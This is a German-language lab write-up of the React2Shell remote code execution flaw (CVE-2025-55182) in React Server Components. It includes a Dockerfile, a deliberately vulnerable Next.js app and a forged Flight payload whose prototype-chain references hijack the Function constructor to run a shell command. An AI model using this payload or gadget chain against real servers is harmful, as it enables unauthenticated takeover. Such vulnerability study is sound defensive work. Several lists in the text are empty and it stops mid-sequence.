
auch bekannt als React2Shell
Abschnitte, die gemäß den Aufgabenrichtlinien erforderlich sind, sind mit „(Erforderlich)“ gekennzeichnet.
Diese Umgebung verwendet ein benutzerdefiniertes Dockerfile basierend auf dem offiziellen Node.js Alpine-Image.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Das Dockerfile erstellt eine anfällige React Server Components (RSC) und Next.js App Router Umgebung.
Die Umgebung installiert anfällige Versionen von:
Der anfällige Server läuft im Entwicklungsmodus mit npm run dev.
Der anfällige Server läuft im Entwicklungsmodus mit npm run dev.
Die Umgebung arbeitet mit der folgenden Struktur:
[Angreifer / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
Der Angreifer sendet eine speziell präparierte multipart/form-data-Anfrage an die anfällige Next.js-Anwendung.
Die schädliche Nutzlast missbraucht den Deserialisierungsprozess des React Flight-Protokolls.
Die anfällige Anwendung verwendet die Next.js App Router-Architektur.
Die Anfrage wird durch die React Server Components-Pipeline verarbeitet.
Der Quellcode der Anwendung befindet sich im Verzeichnis src/app/.
src/
└── app/
├── layout.js
└── page.js
Die Datei layout.js definiert das Root-Layout, das für die App Router-Struktur erforderlich ist, und initialisiert die React Server Components-Umgebung.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
Die Datei page.js definiert die Root-Seite, die unter / gerendert wird, und zeigt eine einfache Nachricht an, dass der anfällige Server läuft.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Die Projektabhängigkeiten und Ausführungsskripte werden über die Datei package.json verwaltet.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Diese Datei definiert anfällige Versionen von:
Die anfällige Anwendung wird ausgeführt mit:
"scripts": {
"dev": "next dev"
}
Der Server wird gestartet über:
npm run dev
was den anfälligen Next.js-Entwicklungsserver auf Port 3000 startet.
Das Flight-Protokoll deserialisiert komplexe React-Objekte wie:
Die Schwachstelle tritt während dieses Deserialisierungsprozesses auf.
Die React-Laufzeit verarbeitet vom Angreifer kontrollierte Flight-Nutzlasten.
Unsicherer Eigenschaftszugriff und Prototypenzugriff ermöglichen es Angreifern schließlich, den Function-Konstruktor zu kapern.
Nach erfolgreicher Ausnutzung wird beliebiger JavaScript-Code innerhalb der Node.js-Serverumgebung ausgeführt.
Dies führt zu Remote Code Execution (RCE).
| Komponente | Version |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack | 19.0.0-rc |
Die Umgebung verwendet anfällige React Server Components- und Flight-Protokoll-Implementierungen.
CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Remote Code Execution (RCE)-Schwachstelle, die React Server Components und das React Flight-Protokoll betrifft.
Die Schwachstelle tritt während des Deserialisierungsprozesses von vom Angreifer kontrollierten Flight-Protokoll-Nutzlasten auf.
Das Problem ermöglicht Angreifern:
Die Schwachstelle ist besonders gefährlich, da die Ausnutzung ohne Authentifizierung mit einer einzigen präparierten HTTP-Anfrage erfolgen kann.
Anwendungen, die anfällige React Server Components und Next.js App Router-Konfigurationen verwenden, sind direkt exponiert.
Die Grundursache der Schwachstelle ist die unsichere Handhabung von vom Angreifer kontrollierten Objektreferenzen während der Flight-Protokoll-Deserialisierung.
React Flight verwendet intern spezielle Referenzstrings wie:
$@0
$B1337
$1:__proto__:then
Diese Referenzen werden während der Deserialisierung rekursiv aufgelöst.
Die anfällige Logik führt Eigenschaftszugriffe aus, die ähnlich sind wie:
value[path[i]]
ohne zu validieren, ob die Eigenschaft zum Objekt selbst gehört.
Infolgedessen können Angreifer auf gefährliche Eigenschaften der JavaScript-Prototyp-Kette zugreifen, wie:
__proto__
constructor
prototype
Dies ermöglicht letztendlich Prototyp-Verschmutzung und das Kapern des Function-Konstruktors.
Der Angreifer erstellt zuerst ein gefälschtes React-Chunk-Objekt.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Das kritische Feld ist:
"status": "resolved_model"
Die React-Laufzeit vertraut diesem Feld fälschlicherweise und behandelt das vom Angreifer kontrollierte Objekt als legitimes internes Chunk-Objekt.
Die Nutzlast:
$1:__proto__:then
bewirkt, dass der Deserialisierer die JavaScript-Prototyp-Kette durchläuft.
Da der anfällige Code keine gefährlichen Eigenschaften validiert, erhält der Angreifer Zugriff auf:
Chunk.prototype.then
Dies verwandelt den gefälschten Chunk in ein thenable-Objekt.
Die Nutzlast:
$1:constructor:constructor
löst sich letztendlich auf zu:
Function
Dies ersetzt:
response._formData.get
mit dem globalen JavaScript-Function-Konstruktor.
Als Ergebnis wird:
Function(vom_Angreifer_kontrollierte_Nutzlast)
möglich.
Die Nutzlast:
$B1337
zwingt den React Flight-Parser in die Blob-Parsing-Logik.
Während dieses Prozesses wird:
response._formData.get(...)
ausgeführt.
Der Angreifer hat diese Funktion jedoch bereits durch den globalen Function-Konstruktor ersetzt.
Dies führt letztendlich zur Ausführung beliebigen JavaScript-Codes innerhalb der Node.js-Laufzeit.
Der Exploit-Prozess läuft in der folgenden Reihenfolge ab: